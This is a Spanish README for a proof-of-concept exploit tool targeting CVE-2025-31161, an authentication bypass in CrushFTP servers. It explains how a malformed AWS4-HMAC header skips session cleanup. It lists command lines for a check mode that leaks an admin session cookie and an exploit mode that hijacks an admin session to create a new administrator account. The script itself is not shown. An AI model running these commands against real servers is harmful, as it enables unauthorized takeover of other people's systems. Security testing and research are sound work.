
Una prueba de concepto para CVE-2025-31161, usando un encabezado HTTP manipulado para realizar suplantación de identidad no autenticada de cualquier usuario en el servidor Crush FTP.
Advertencia: Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado contra sistemas para los que no tenga permiso explícito de prueba es ilegal.
Esta herramienta es una prueba de concepto (PoC) para CVE-2025-31161, una vulnerabilidad crítica de omisión de autenticación en CrushFTP (versiones < 10.8.4 y < 11.3.1). La vulnerabilidad explota un error lógico en el análisis del encabezado AWS4-HMAC, donde un encabezado manipulado provoca una excepción IndexOutOfBounds. Esta excepción evita que el servidor limpie la sesión, dejando efectivamente al usuario autenticado como la cuenta solicitada sin contraseña.
Credential=user/) provoca una excepción Java no controlada, omitiendo la limpieza de la sesión.requestspip install requests
El script opera en dos modos: Verificación (Observación) y Explotación (Acción).
Verifica si el objetivo es vulnerable intentando filtrar una cookie de sesión para la cuenta de administrador predeterminada. Esto no modifica el sistema objetivo.
python3 exploit.py check -u <target_ip> -p <port>
python3 exploit.py check -u 192.168.1.50 -p 8080Secuestra una sesión para el usuario administrativo especificado y la utiliza para inyectar una nueva cuenta administrativa en el grupo MainUsers.
python3 exploit.py exploit -u <target_ip> -p <port> -a <admin_user> -nu <new_username> -np <new_password>
python3 exploit.py exploit -u 192.168.1.50 -p 8080 -a crushadmin -nu operator -np StrongPass123!| Bandera | Nombre | Descripción | Por defecto |
|---|---|---|---|
-u | --url | Dirección IP o nombre de host del objetivo | Requerido |
-p | --port | Puerto del objetivo | 8080 |
-a | --admin_user | Cuenta de administrador existente a suplantar | crushadmin |
-nu | --new_user | Nombre de usuario para la nueva cuenta de administrador | Requerido |
-np | --new_password | Contraseña para la nueva cuenta de administrador | Requerido |